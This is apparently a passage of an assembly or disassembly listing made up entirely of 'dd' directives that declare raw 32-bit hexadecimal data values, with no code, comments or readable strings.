		dd 3CE014C0h, 0BE4CB273h, 0ED9C7ABh, 74EDE1D0h,	455602E4h
		dd 0D88EB7A2h, 9D1F6C77h, 0DF8B6798h, 558FFEF1h, 0FADC8ECBh
		dd 5EE1FF62h, 0DE4EDCA9h, 56780481h, 36A282Fh, 53680541h
		dd 17D7F892h, 1FAC3EB0h, 0B51BE380h, 3925DBA1h,	115DE579h
		dd 25A24CFBh, 707054C5h, 44AB286h, 0A1E870FDh, 60498275h
		dd 5899BC94h, 0AFC02EBAh, 0F7E2F432h, 0FD4DB700h, 89226C6Fh
		dd 24B212D1h, 2B63F1F2h, 9587799Bh, 373F4263h, 0B8419D76h
		dd 3F603B8Eh, 6BFAB723h, 244D3C03h, 0B8DA9407h,	0B0E8BB9Ah
		dd 0F10D4A33h, 0AF6F2AB9h, 9D78D01h, 2B0B31B5h,	4E26B6CCh
		dd 0A0E7A701h, 5CD1962h, 0ABAD3650h, 2E60B117h,	1A23966Bh
		dd 9CCEAB07h, 0DF620A12h, 3021F440h, 7AF5DBBDh,	2B1E2E19h
		dd 0BD4B21E3h, 0BC684DD9h, 239A1652h, 8D84BF9Dh, 75C910B9h
		dd 0BF009F79h, 2A393511h, 0BCDA1EBBh, 0D868C0AEh, 6667D2C4h
		dd 872C7495h, 0ACCDC727h, 0E19AB942h, 644CEDB5h, 75B96414h
		dd 32F5D99h, 7D02CAE9h,	2F015E3Dh, 1BBBDFC4h, 9720F6D4h
		dd 0B75F8292h, 516989B1h, 8008757Bh, 0BE10AD0Bh, 0B609EF30h
		dd 799BA281h, 0FC73AD7Ah, 0E4181B59h, 41353D00h, 6DBC213Eh
		dd 0E637B789h, 0EF0AF8BEh, 0C0A86539h, 0D92DED09h, 664D6928h
		dd 7D32DF43h, 52C6093Eh, 0F370CF99h, 0E2ADDE25h, 0DCA27CC4h
		dd 8A4C4B00h, 859856C1h, 0CF81025Dh, 0F93FC0Eh,	509F704Ch
		dd 50084049h, 6195BF09h, 0AC47564Eh, 1FB10933h,	18EC5C74h
		dd 6B3341A1h, 30938CE2h, 0D27D8097h, 0F4976C00h, 55721971h
		dd 1569005Dh, 9CC2BB66h, 0F89C505Fh, 7948B140h,	7DE40071h
		dd 0BB87C32Eh, 860D8A5Bh, 0EB8B02C0h, 0EAE284D3h, 7ECAA200h
		dd 7B0C436Ch, 2A55C102h, 0CA820F15h, 6316107Bh,	5CCF000Ah
		dd 5D6A7A4h, 0CC1601DAh, 0CD45F5Bh, 0D02A2EBh, 0EC58D98Ah
		dd 57F35D6Bh, 327EBA85h, 275DE94Fh, 5410FF52h, 15003C82h
		dd 6B64D95Eh, 61CA47h, 6656905Bh, 5F0B1DBFh, 0BB076CBEh
		dd 4CF8830h, 0F8F69061h, 713E91E0h, 53E4A302h, 745FFBB7h
		dd 1A47D618h, 72F26700h, 89869B60h, 96E9B55Bh, 4DCD612Fh
		dd 9CAE01C4h, 0F1B52C14h, 0AB8EC546h, 6E0096B7h, 14A3A12Dh
		dd 0A93A0464h, 81E89227h, 6A8D79BBh, 52A8D7FDh,	45F78000h
		dd 0E9DA8B89h, 86DB9548h, 16E48DD8h, 0B13D5389h, 0B0F9017Bh
		dd 31A94196h, 8DB32B0Ah, 0BD0305BAh, 0F0A928DDh, 8209E3E8h
		dd 0D1AAA401h, 5C84E59h, 518D0902h, 359CDD1Ah, 594EFD4Dh
		dd 70BC32h, 16A764D5h, 3BB728CFh, 56618FBEh, 0B92AFB8Bh
		dd 0AC19ACEFh, 172B02FAh, 1558B79Ch, 0DA572FC2h, 2D669FBAh
		dd 189C6C09h, 0C0B55D3Dh, 0F4811791h, 2A8DAC97h, 6BA9CEEDh
		dd 0E7024D60h, 129800BDh, 0ED3F4923h, 9D128BB2h, 67AE2EE9h
		dd 39A2E01Eh, 5A0010D2h, 0B6282D7Fh, 9D1B2304h,	9BD4F276h
		dd 3C6C80CFh, 6DCE6A5Fh, 1096F52Dh, 0D370A3h, 4ACF684Bh
		dd 0BFF7DAABh, 0A329430Eh, 150295Bh, 96C9C1AFh,	0EAF4DF66h
		dd 136ADFA0h, 1502D57h,	76C781D8h, 4B0C2675h, 0D86FA689h
		dd 0CD1E7F44h, 8487F666h, 40238346h, 0B3EB8F0h,	0BB7D4BBDh
		dd 1E015721h, 0BCA2BD2Fh, 94AD0029h, 140C4E68h,	995DF4FFh
		dd 0D9B5C904h, 0BA606598h, 0F52545B2h, 81C0FB76h, 27459CD7h
		dd 8D462513h, 35853116h, 57FC2856h, 5AFE64Eh, 530EA8FAh
		dd 9724A4E0h, 0B1E8044h, 0B461A19Dh, 0C02BBC41h, 4BA8C4BFh
		dd 0C1A9D6Ah, 5DA7E603h, 5B740BDFh, 0CED700DCh,	0C9936610h
		dd 95F7E98h, 16925EA8h,	60F89027h, 4C975856h, 2150BD3Ah
		dd 0D7254297h, 96504165h, 0AD600054h, 84E62DA5h, 6BE3B70Dh
		dd 0B6B438E6h, 895E3860h, 0E4218AACh, 7BEC1E0Ah, 1E4481E1h
		dd 0D04DDE83h, 3804202Ah, 4EF10179h, 659D6AA8h,	5F5AAD46h
		dd 9DCCE489h, 0D5135FC5h, 0FD51AAFEh, 7ABB4F86h, 2A7100D2h
		dd 0BC72F6E9h, 1C61C54h, 0A22E938Dh, 7B9AD252h,	754F1782h
		dd 0E525DBDEh, 0AB8F1254h, 172D17Bh, 0E0B5F879h, 2C659531h
		dd 1500966h, 0F6A9FD85h, 6608F678h, 3BAE10BAh, 0BF8E0F97h
		dd 51D81039h, 0F210D35Fh, 0A75300C8h, 0A8277DDFh, 1C7C09A2h
		dd 0E97D5EBBh, 3C8B5BE7h, 65739661h, 2320870h, 0DCCEEB47h
		dd 60751EA7h, 0B5E0200Bh, 44F8A9C1h, 0CFE7FEF2h, 2531C0B0h
		dd 32AE775Eh, 0E8E3B564h
		dd 0E4ED0C5Ah, 837239ADh, 9091F929h, 5BF2FBE9h,	972CFFBEh
		dd 0C07C0FC6h, 972057D8h, 367A758Dh, 1C716293h,	231F5A18h
		dd 6B423111h, 5C30D387h, 0BE0D12FAh, 0C9BC9574h, 484B6DA3h
		dd 1FD3929Bh, 62EF417Ah, 3A3C8CD2h, 0EBB9C775h,	0BBFD60A9h
		dd 5CBFC670h, 0EF28DCF3h, 9E6F5D5h, 0FCCC769Fh,	0B5A30BDh
		dd 0ABCA4A4Ch, 9DE91E20h, 94FF71F1h, 0DE9DDC42h, 57F9A7C8h
		dd 88C44A00h, 0A8358Ah,	2E0A40E0h, 970F7152h, 6C0EE109h
		dd 950901B3h, 0D03E1BBDh, 8B69C7B4h, 666EC14Fh,	0D21D2F00h
		dd 0A238634Ch, 4B826C4Eh, 82BA5D1Fh, 1D0162DEh,	0FC8A508Bh
		dd 0AC4B8C68h, 8D0F04B0h, 0E2FA6A2Ah, 3F1D008Bh, 0DBBB0791h
		dd 0FD26007Bh, 0B962973Ah, 8B1738C3h, 0DBBA5BDFh, 55D8C25Dh
		dd 0CED96Bh, 0F5CC9A6Fh, 0EF006614h, 61D5470Ch,	0F7540192h
		dd 28BD31E0h, 126B1BC1h, 0FE48FA52h, 1805F9Bh, 8B34611Fh
		dd 407E95h, 1618C8BFh, 66779043h, 0FCF1072Fh, 677460C0h
		dd 850189DEh, 472AEFF4h, 2828F0D3h, 0CEA0EB8Fh,	2386FF56h
		dd 0D70F9D25h, 905FCC18h, 0AD3379Fh, 0BE9D6AFh,	2362E060h
		dd 0AB84BB3Dh, 5DFE509Ah, 0B4BD270h, 0B8625917h, 9182B5D7h
		dd 5A668019h, 481232F5h, 0BE4A1145h, 93882235h,	1D48FCCBh
		dd 1D4B7303h, 0FF2B8643h, 342794D1h, 11DF45F4h,	0E2BF006Dh
		dd 6A78DA52h, 0DC8DBE02h, 9D8B9604h, 73F91A95h,	17A5522Ch
		dd 0C05F3488h, 0DE8B53A4h, 503492B2h, 0D5EB3690h, 88B89B1Dh
		dd 0DCC8C01Bh, 0AF02B719h, 0E9BE4DFEh, 0C8C7D722h, 7CFA5C08h
		dd 3080D29Bh, 0AE31BB95h, 0ED701E3Eh, 0DAD3B29h, 9FCEB7FFh
		dd 0AD945721h, 0A7CC4B66h, 197D09BBh, 1EF8769Fh, 668D824Ah
		dd 0F0D1F66Bh, 0BFD8DD13h, 6DC66D54h, 9D0309C5h, 16233101h
		dd 0E8B40995h, 2D04A5B8h, 94E91628h, 0BAD4829Eh, 0D9FD745Ch
		dd 0F30FBE72h, 9B726AB3h, 0D7C9831Dh, 9A4817D0h, 71120E5Ah
		dd 0AE9CAF12h, 9D098812h, 910CED4Ah, 5BC9E1B0h,	380AA317h
		dd 4A35B39h, 2223467Ah,	0A6DE9FECh, 17F30633h, 0B0C8B61Ch
		dd 185AD852h, 85C6F1ECh, 0E49567DDh, 1FC000F7h,	0C48BF716h
		dd 9101FE2Bh, 423CC1B0h, 8220602Dh, 0D81A4105h,	0B7A8ED8Dh
		dd 61B05B61h, 4585291Bh, 91BABC21h, 42FB1FAh, 4484BBCh
		dd 311246C1h, 0FDB8E8E7h, 6B9AEC09h, 758ED02Bh,	0D167C4B9h
		dd 0A230BB60h, 0BF69850Bh, 6FE91C23h, 43BB1902h, 0E0627577h
		dd 34C5065h, 0BD894755h, 4D490999h, 0E1072FF7h,	0C82E1BA7h
		dd 3B3CBB48h, 0DF2BA5FBh, 0DF8100B8h, 8A3F2502h, 5737E9F8h
		dd 9A97CB46h, 6EF90240h, 44417478h, 0C7F15621h,	0B44602Fh
		dd 1542659Dh, 4E8D5944h, 0A928BEA5h, 5744C50h, 0C1C46027h
		dd 8209A37Ah, 0C1BE011Ch, 59000CA5h, 0A2B761F8h, 7D2DF566h
		dd 0CE72F1DBh, 578D0337h, 0FA4E6EE6h, 3FB9BC80h, 0F88B95A8h
		dd 9FCFAC1h, 73BB0585h,	0CB7EBCCBh, 43897751h, 4FBFC25Ah
		dd 90EF40C2h, 0D2592BC0h, 2568BC85h, 92C036C4h,	1E9DCAF6h
		dd 0C0EA800Fh, 0DC12946Eh, 0CDB06D1Fh, 880D0F85h, 4B37BBEh
		dd 57F317A8h, 2ECD1B81h, 9E795B02h, 0A19C099Dh,	4084E27h
		dd 0CF0F6FBFh, 0AD07E850h, 5B0DA820h, 2CE7A25h,	57657EF5h
		dd 1709770Eh, 3C4EF071h, 0FEA95B38h, 0F15FEABDh, 0C1B589CBh
		dd 46DE8976h, 1CAD5F1Dh, 5CDD6F83h, 2F96013h, 4A3B6FBEh
		dd 7EB04360h, 0E1FF28FAh, 28B127D7h, 0D473137Ch, 407EDE54h
		dd 33486030h, 408273ACh, 9761FE3Fh, 32DCB94h, 40034F04h
		dd 0F6997C7h, 7D538C4Ah, 0BBC0D5ACh, 545F99D1h,	61F49497h
		dd 0FA8B6B91h, 1EDB7B60h, 8031B580h, 0D15A275Ch, 56F4420h
		dd 0D4AD0069h, 77E27443h, 0D02D866h, 7996EB4Fh,	3DDD5EC7h
		dd 4975BB89h, 8B891B74h, 45847AFBh, 35E8011Dh, 46820431h
		dd 0D9D95DD6h, 0FEE520A5h, 98AC03Eh, 3487B6FDh,	47501676h
		dd 57BA97E2h, 13D4705Eh, 0EF48531Eh, 0DE507232h, 0DE614FF9h
		dd 2CC4C9E7h, 0B79B5ED7h, 45815C8Bh, 6F7DF442h,	0B3021B7Ah
		dd 0F88D8008h, 0DF52EC56h, 0DF9B50EBh, 14CB3FAEh, 436457FAh
		dd 5FD920C0h, 0BD953158h, 5E2FB356h, 0FC255587h, 4A2F0B06h
		dd 1A4A4A50h, 8993FCF2h, 9CB86AE5h, 2FB509B1h, 2B04F356h
		dd 0C11201B2h, 2FFE6E9Bh, 0A7817B35h, 70D5E172h, 0E964522Fh
		dd 3AC1E848h, 0C84B406Fh, 0FD77CF7Dh, 2A71870Bh, 19628250h
		dd 0FA02091Fh, 6F775CB5h, 22F76157h, 4105D4B2h,	71A5EE2Fh
		dd 0AEC6A534h, 12F50BB5h, 0DE9DDE51h, 0D9B1029Fh, 0DE8C5E1Ah
		dd 21121646h, 5F45E8ECh, 8DF042F6h, 91496FBh, 26C53FF3h
		dd 0CF02A760h, 60515061h, 976CF623h, 1F4758Bh, 0D2800DEh
		dd 1BE6AA9Fh, 330580AEh, 15518531h, 12238FF4h, 0F32BB710h
		dd 9A68029Fh, 5D3FF65Ah, 6507A5F9h, 77AAE959h, 6DF91DD6h
		dd 0EC1205CBh, 8C81ABA1h, 89BE0CB1h, 0CC72FD01h, 7F858D20h
		dd 0B185CE9Fh, 20F64803h, 2CA5D32Fh, 3C8209A5h,	87F5F832h
		dd 0F780611Eh, 4B0356FDh, 0D301A322h, 0EE93F39Ah, 97F2EF86h
		dd 8D093A21h, 0D3D5CE4Dh, 0EB0164DEh, 0BD055F89h, 1270EF7Eh
		dd 0E0993459h, 0FC5B8ADBh, 23BE70A6h, 60230514h, 42F2F8h
		dd 8C7191A1h, 0FF18273h, 0A058689h, 4788D721h, 0F7A3341h
		dd 4190AC6Ch, 61592A99h, 1F89DB41h, 0A172A77Fh,	1FF862F8h
		dd 139497CAh, 3381347Dh, 2EE95F5h, 0A45D88Bh, 552A1F9Ah
		dd 59700BD3h, 56C05E8h,	84F16588h, 0D1B7AB89h, 0C74A43F0h
		dd 0CECC6125h, 6B539DF9h, 27D1F550h, 90746F06h,	7A6F7769h
		dd 0B0DCD1E0h, 1876B5A2h, 9BBD4h, 5F14ACF0h, 0DCB51AF2h
		dd 66D54994h, 31D30411h, 0E8566050h, 0A40D80F4h, 0DEAD8936h
		dd 5D6AC160h, 715AB298h, 0FE942A43h, 73C6EAAh, 77914F93h
		dd 0B759D530h, 0A2EBAC6Fh, 0D6CC5624h, 4A061746h, 0AEB116C1h
		dd 95004CB9h, 2DEC9E19h, 84E647h, 3BBF49A3h, 91671DA2h
		dd 7695F15h, 2ABB97E1h,	825F8077h, 24B50CA5h, 8CC12ECh
		dd 2B022149h, 0DD2D29BDh, 0DC76933Ah, 0C0589C40h, 797B00A4h
		dd 91DAF572h, 0D1128554h, 9AFF6AF6h, 8CD8922Ch,	0C0D02D7Eh
		dd 95002163h, 8291E381h, 128940B4h, 0F2263185h,	19BF0323h
		dd 0F159F4C9h, 0C87A2050h, 0A900EAEBh, 0C5E17C1Dh, 2D01F5A5h
		dd 0A84358Dh, 5E75BA5Fh, 0AEC1099Ah, 2E8D54D9h,	0A15EA4F2h
		dd 55712E5Eh, 0DE6A8753h, 0E34580DBh, 41698F1h,	720E4F6Ah
		dd 2B62AFA4h, 1DC22F05h, 0EBD686FBh, 6A8CD817h,	965D25B7h
		dd 0DFADEDF9h, 0F00D0E98h, 0A2B1B402h, 5D5A5BEBh, 65488910h
		dd 0F97101F8h, 7F1A4100h, 3F0F2EDh, 17DB729Bh, 0CD5B6373h
		dd 7FE4D0ADh, 7CA27750h, 303C2F02h, 89965F10h, 98ADF5EBh
		dd 0F6A93FC4h, 9104BFECh, 0CFDF6987h, 23616BBAh, 0E9660118h
		dd 89222E5Ah, 0C92439A6h, 282F7629h, 1894A17h, 508AD168h
		dd 0D84660B0h, 3B0025EDh, 0BCE2070h, 16F7CC3Ch,	0ACFDE4F1h
		dd 57B7179Dh, 0B6C174EAh, 4082E208h, 0A509418Ch, 0D1D82DADh
		dd 69BF314Ah, 5F882E28h, 8742005Eh, 1F36B40h, 68608BABh
		dd 0D6CFA4EEh, 2445B9Dh, 5F77619Eh, 5D69665Ch, 0C3F6EFC4h
		dd 0D7BDF400h, 0C4F2D964h, 49330F70h, 3D6901AFh, 5F5BEB22h
		dd 3751815Ch, 34D38110h, 1891AE12h, 0F75864E3h,	3D84A125h
		dd 0E8D8BDC6h, 0A39409FEh, 9509DE99h, 0A9F36557h, 0CBFB01ACh
		dd 80D59D81h, 5CD2F7FEh
		dd 0B5D4E95Bh, 0C7FCFBD8h, 0AC12D802h, 0CDC18B19h, 0E64CE0B1h
		dd 0BB0EAA05h, 0D443573Dh, 9A916DEh, 0ABB47EE8h, 7600716Ah
		dd 0E29622F3h, 0BA0055D1h, 0C244BFEDh, 919051B8h, 0B1D380DFh
		dd 67CF9B07h, 0BB734Eh,	71BF6682h, 0F29F5B65h, 0F0F54D7Ah
		dd 1FFAD540h, 0F417A420h, 0D522C114h, 225C4007h, 3FB64909h
		dd 0DF5209DEh, 538B2F7Eh, 0D2B50DE4h, 0BCB725DFh, 0BFD34789h
		dd 35C3070h, 86EDCB37h,	0C78C46A1h, 2591E4D9h, 5402306Fh
		dd 48AF71F2h, 96DCD41h,	85C8242Ah, 0DB41EE33h, 20C59D33h
		dd 82ACDD2Bh, 0FF85838Ch, 31537FD1h, 0C1C8CE3Ch, 50D99DB9h
		dd 0B9B9F3EFh, 0C01DCECh, 66EC6922h, 0B5928A77h, 0D48FAF18h
		dd 401A693h, 0CE0AE012h, 0B453D5ACh, 245BBD03h,	0C5A49845h
		dd 2B0BB18Ch, 864AF38Ah, 0BF063CE0h, 4AA4250Bh,	0FB8B3030h
		dd 9589901Ch, 6E2F6125h, 0AFCBFEDh, 0D71FE942h,	58AA00C7h
		dd 23B9B380h, 54402FD7h, 6C1C7F03h, 25347239h, 3937DC2Ch
		dd 79589B00h, 122698E1h, 0B31BEC0Ch, 557650BDh,	8D6E2841h
		dd 98C56BB5h, 89A12752h, 0E0EEA72Bh, 4579A50h, 0B31B635Dh
		dd 4BA8AD64h, 0BEB40DE7h, 971716B6h, 0F797B40Dh, 5929B09h
		dd 0BFD1594Bh, 406AFE1Eh, 0EB81A2B7h, 0AA2C2DA3h, 99095351h
		dd 0F44CD410h, 23DC7AFDh, 9B0425D7h, 3D45DC6Ch,	0AE86621h
		dd 0B03B3892h, 50FE04Bh, 0A82B1641h, 0C3C2D75Ch, 70E6022Bh
		dd 33A905E0h, 0C9408282h, 71E4001Bh, 0AAE49BBBh, 0EFD1474Ah
		dd 0B9080104h, 0B7A39A08h, 4A8C49CEh, 294E8544h, 20D62BEDh
		dd 0C907FFCCh, 9C832400h, 52B9F323h, 464E01A2h,	1B3CC8A5h
		dd 0E373BCh, 0D80ED592h, 843825h, 16DFBAEFh, 0FFF222B7h
		dd 21370209h, 6CCA575Bh, 0C0ADD500h, 43984F60h,	7635D72Dh
		dd 29D42C1h, 0D07220Bh,	26F3568Bh, 0B3D115A7h, 30B5FB16h
		dd 0EC6B3B2Bh, 0E1566800h, 35235E9Fh, 427B457h,	0BC7CE95Fh
		dd 2E158405h, 49FC0713h, 0BBE00E4Eh, 23E668Eh, 36A2DAB5h
		dd 1287E5BDh, 6DEFDE80h, 69BAA112h, 1AAD8EEh, 2EB18511h
		dd 0B174630h, 6EF389BDh, 0FA012F9Dh, 0B67B2DCDh, 372B351Ah
		dd 3E5E62AFh, 7CCB025Ch, 0B36160ECh, 0A314F2BEh, 41E8E09Fh
		dd 0EAA90167h, 7612E12h, 8C05838Fh, 0AE0029C8h,	496487E6h
		dd 0C927Ah, 0CECC0538h,	0DF2183Fh, 99D0B12h, 4A175056h
		dd 0FD644040h, 0A44FE0h, 0E397F1E8h, 0CF53730Bh, 0C9050F0Ah
		dd 2DBBB66Ah, 9A7333h, 0ABC88F6h, 8500E282h, 268E3D5Fh
		dd 2C1D82Ah, 6E292C94h,	7BF770CFh, 6614512Ah, 0B9B50D92h
		dd 0A741B3B3h, 0BA481BE5h, 9EECBDFCh, 1749BD10h, 3037977Dh
		dd 0BF13F31Ch, 0FE5BC88h, 0FFDAD48h, 0DF3DB6C0h, 0BC008E33h
		dd 0D13CDED0h, 4ED981EFh, 5A72DBE8h, 0BB1F0EBBh, 1286A1C1h
		dd 0D545C2B8h, 0AE490038h, 103B8546h, 6DB0004Dh, 0BDCEBA1Ch
		dd 0FC137B39h, 0F9485196h, 755B1C25h, 0BA60E4F4h, 5D7B7BE1h
		dd 0DD040B3Eh, 8CE51ECEh, 27000A12h, 0B21461FFh, 1FB6429h
		dd 72DC8BEFh, 2E2A963Ah, 69F900F9h, 0FBB1809Bh,	0BF032BFAh
		dd 3BAE4AF8h, 3DC71600h, 4AB054E6h, 91E200D6h, 0BF89E84Ch
		dd 5D09CA7Bh, 5327EB8h,	0CBEEEDA3h, 0A5B65EDAh,	309188A1h
		dd 8C09D356h, 0E61BB726h, 9E619D5Fh, 0CAED6E29h, 815D6DB9h
		dd 0A563E768h, 0D2E0CB2Bh, 7F6AEBh, 0C99C7101h,	0EE8C7FF3h
		dd 0A3824B8Eh, 0DC0927B2h, 710249D6h, 97732AA5h, 1654E9D0h
		dd 1DE525Dh, 7D92E701h,	0D282F37h, 437E8A53h, 29C9C240h
		dd 9D350021h, 52D4A61h,	7C011CAFh, 0FE8A6FF6h, 55C2B85Bh
		dd 9B6123CFh, 54603160h, 0D68B8109h, 0AF617884h, 0DFB7DE61h
		dd 0D8CBB07Bh, 69DC1497h, 6FF47BC8h, 0BCDA00DCh, 9606167Ch
		dd 28627E6Eh, 0F7080D8Ah, 0AC1AC867h, 8AD1D560h, 9D1A6946h
		dd 95DC7B56h, 0AEE23F7Eh, 92FA7729h, 9F4DBF05h,	48C0270Eh
		dd 4A6BC381h, 0AC59845Bh, 0C3205AC5h, 0EEF444D8h, 372201DAh
		dd 5AFA2841h, 0D2092ED1h, 5CD072F8h, 0CFC2BABDh, 15563FCCh
		dd 40BE6DEBh, 0C4A8898Bh, 5B27F612h, 6660D6E3h,	2BD318E7h
		dd 1F402DF4h, 0BF500290h, 13E11A34h, 0AB9C8BD5h, 0D01ED39Fh
		dd 56BD9921h, 2F68402Dh, 7FF3BCAEh, 950DC4F0h, 0ADD0F301h
		dd 9142EEA3h, 0B3C29CC2h, 0BF1F96FBh, 5485894Bh, 6C32FC8Dh
		dd 221F489h, 0D1DDF6E9h, 96566B75h, 0A32502D4h,	0F4982FF8h
		dd 0E0E47875h, 0E00ABC18h, 0D62A9CBCh, 0EFE80200h, 4AB4735Eh
		dd 9EA21282h, 2E70E1E7h, 0EF8049EDh, 0F0F7C5CBh, 2500DE7Fh
		dd 0B67E54B4h, 4A790802h, 4F0AF7B1h, 0AD97C9DAh, 2457CBFCh
		dd 1213023Eh, 0E509C49Ah, 0D5E92A2Ah, 1F327A9h,	5C1CBBBh
		dd 8A3E820Fh, 0A9E20013h, 7A5BCB45h, 1F931EDCh,	7B644083h
		dd 717DD939h, 19792025h, 0A9E48121h, 16587BEBh,	0EA4689D4h
		dd 0E4930FDBh, 9C0BCDF9h, 2394045h, 2E2A6970h, 0B0891C4h
		dd 15645F96h, 0D8F90795h, 776E00B9h, 97B5FF97h,	87C2164Fh
		dd 85BC8241h, 0CA68002Bh, 2F12CD66h, 9E43DD8Ah,	0CCD26535h
		dd 1DE22DA6h, 9FB4477h,	86AE89E9h, 0BD67ECD5h, 4301C864h
		dd 1E385FDAh, 0DCD66E2Fh, 0EF8D65F4h, 4019E098h, 0E84A9021h
		dd 28DD39ABh, 95254F6Bh, 5E2CA2EEh, 1BAC06E9h, 0EC00E5ACh
		dd 74251C06h, 0C0BC073Ch, 0B61FA6Eh, 144E3D9Dh,	87F4FFBCh
		dd 0E3D21FF8h, 0A4398894h, 4E491347h, 38BCE9AAh, 0D6EAF5Bh
		dd 97940209h, 0B400D4D1h, 0C37877Fh, 2E4C042Fh,	0EBC6687Ch
		dd 9AEBCB3h, 7861F88Ah,	3E6D9770h, 92FA0C0h, 0B50AFE9Dh
		dd 0BA11CEE7h, 0BAD02925h, 0A79AD687h, 475B7D26h, 362C4071h
		dd 5F7B9132h, 91CEB5D7h, 0A4EC971Dh, 40D7F9C1h,	0ED30309Bh
		dd 0D7F7085Ah, 0CDBD0905h, 0E06FAE2Dh, 803B1D23h, 7013762h
		dd 270861ABh, 18DFF86Eh, 9496DA4Bh, 30EF403Fh, 3700832Dh
		dd 15FB7A18h, 3BA92E03h, 7259CF39h, 0A8615B2Fh,	58DB3A96h
		dd 0A3091C89h, 0CCA82AFCh, 0B3F9E554h, 0F7E98A5Eh, 0FB61F2C4h
		dd 1AA22FE6h, 0DEF9C1B2h, 2C064897h, 0B0D2F357h, 6D30278Ch
		dd 5E231DFh, 0A3D0A77Bh, 40088719h, 0AB5E9786h,	0F396E09h
		dd 25DBC68Ch, 26C52911h, 0AB5E0811h, 5D452E42h,	0E91F5C99h
		dd 7ED47874h, 4F787DB0h, 0B7A32014h, 0AA00FA18h, 8A6316F3h
		dd 0C5891Eh, 28C46ADDh,	0CF817267h, 0FA222904h,	2CB85F5Eh
		dd 8E399B5Ah, 6D6241DBh, 0E87BC9C6h, 0B5890AC2h, 60A5EF21h
		dd 880FE952h, 8C007AABh, 363211B2h, 25A1645Fh, 85D470B4h
		dd 5F6B9E24h, 0BA95B59Ch, 6059CD62h, 686FB986h,	0D995290Bh
		dd 0DA07930Ch, 0A3F15D2Dh, 50E85B49h, 0D0598338h, 5E6A89AAh
		dd 500DEFFh, 78152E57h,	0F68D09EFh, 67BB9530h, 26880FA1h
		dd 9011042h, 7FCA8100h,	611ACB2Fh, 917C7B9Dh, 7AC14F59h
		dd 0A63E3489h, 40ADF051h, 3CD07B11h, 1B9372DDh,	788CFF73h
		dd 0F0910DCBh, 7EBB104Bh, 3BB3ADA7h, 350C25F0h,	0C2A29A4Bh
		dd 2BF0F76h, 46CE0677h,	0D0F4F8A1h, 955CCE26h, 0ACBDD72Fh
		dd 669B0238h, 8AEE3E64h, 222F539Dh, 0D52155AFh,	4767E0D9h
		dd 4261CF09h, 73557212h, 0B2462D09h, 0E038BF00h, 605077E8h
		dd 64629457h, 0DAC3095Ah, 0BD2B2D11h, 574509D5h, 1F414295h
		dd 0C23EB978h, 0B45C2CFFh, 910A8AE8h, 79CB362Bh, 997D00F8h
		dd 9ABE0BE0h, 0AA8D5B4Bh, 0B52D1C20h, 5A93DFE7h, 1FC091DEh
		dd 164D8D89h, 50F2769Dh
		dd 3597046Dh, 801D11B1h, 0E28D329Eh, 7D5C3916h,	661A0581h
		dd 3AFBCBBBh, 69E919F9h, 875284EBh, 3822FC1h, 0A2E2D514h
		dd 7B00702Dh, 0BDB95495h, 1FD288Ah, 0F24D6A1Ch,	3BAC3A10h
		dd 0E916A0ACh, 40FABCBBh, 0D41C5DAh, 8A3CC1D9h,	1845D71Ch
		dd 1FD11E56h, 0F82A5881h, 9589C304h, 0E3EFF4C1h, 7FAB0016h
		dd 0B6475734h, 0D2D109A9h, 35569038h, 0A3599940h, 0BEE5048Ch
		dd 0EB698F4Ch, 0D8995AB2h, 66E52BF8h, 0E03C7010h, 653D0094h
		dd 0FF110954h, 272EB2Bh, 0E944FB00h, 0E156C18h,	0DC62B490h
		dd 3FB84A58h, 0F6EDCE6Ch, 8720AB5Eh, 946735B3h,	2FEF2089h
		dd 2EAD5569h, 2442E76h,	0B62519D2h, 9CF2A01Eh, 9CD15880h
		dd 0C6E5A4C0h, 7B0005F1h, 67360A38h, 24F761A0h,	3B9D8A6Ch
		dd 4E25BE4Ah, 500626Fh,	17339655h, 93020DD4h, 0B0601DDEh
		dd 40085C30h, 5D3CA49h,	8B53F53Dh, 1861878Dh, 3040DCh
		dd 82FE2A54h, 0A5F1664Eh, 1DFC795Bh, 9D10F820h,	81802C51h
		dd 38C2B7EBh, 599D5E78h, 1875AF4Eh, 6422B8h, 0AD636F7Ah
		dd 4D044876h, 4159EDFFh, 21D5BDh, 95BAB35Bh, 0B59703CEh
		dd 1C651C4Eh, 8D29C931h, 7510C277h, 1A647BCDh, 0B9A12360h
		dd 0D1FFC028h, 6E1C10B5h, 80030F27h, 0D1CB4A7Eh, 2DCAFDEh
		dd 0F25009B5h, 825FA035h, 482E62D5h, 9F5718E5h,	5BDA657Ch
		dd 0C95950CCh, 6AE91602h, 60482FA8h, 83206906h,	7A9002D1h
		dd 7F60A909h, 10086C6h,	0E3D66D72h, 2AEEFF8h, 3E54F40Ch
		dd 0F9755EDEh, 83263B56h, 0C4CAC772h, 0B82AFD90h, 95420E14h
		dd 9300F7D5h, 89F4E7E3h, 74098525h, 6A7652D1h, 0ABFBB040h
		dd 562D00D5h, 64756FDCh, 66713D47h, 0BBA3EF90h,	5F0102D2h
		dd 382FB1E9h, 2ED2DCB0h, 1DF379Bh, 0B1FC0C96h, 0B7F6709Ah
		dd 6EBDD04Bh, 0D76B7E51h, 0F38AD450h, 0CA583FE3h, 7AE06FEBh
		dd 88B99901h, 46BB64E9h, 0EA418E78h, 0C7D350CDh, 5EDC94B2h
		dd 0FA09C5CAh, 29AE39C5h, 0B3E86AE9h, 3F6BBB97h, 8DC0C959h
		dd 0C23803DFh, 9552ECB0h, 0FF6A0B82h, 0E307FD8Ah, 30D5EB39h
		dd 15D0C3Fh, 5A51231Ah,	0FCEE1086h, 0AB0E183Eh,	0E9408C90h
		dd 14947B28h, 0FE125FECh, 0FABAE0B0h, 71862D00h, 853170E6h
		dd 582FF1DDh, 2E75107Ch, 456CC695h, 5FE82FCAh, 0C76BB97h
		dd 7B920C4h, 7737BB05h,	0C68570B6h, 0A955320Ah,	0DC55C2A5h
		dd 0B819122Bh, 4EC69048h, 0DB38E8FCh, 5F38158Bh, 0BF7D825Dh
		dd 2D80BD9h, 0E986D709h, 45156482h, 4C886031h, 81B560E3h
		dd 0AD36CF06h, 275A5B63h, 265F2B61h, 27A7F90Ch,	4F798956h
		dd 42225F1Ah, 0F8C2759Ah, 139119D7h, 57B75310h,	0BF665F04h
		dd 0C8FEFA1Ch, 8D12095Ah, 4CF71089h, 0BEAA269h,	0A64BDB7Dh
		dd 0FEF22F25h, 0BE737B95h, 902F6990h, 3CE626Dh,	0C2435E17h
		dd 56029442h, 0E76FDD5Fh, 0BCEBAD40h, 2B72021Fh, 0F88E92DCh
		dd 416B195Eh, 0D7CD6092h, 0F8D68E2Ch, 9162031h,	103CB961h
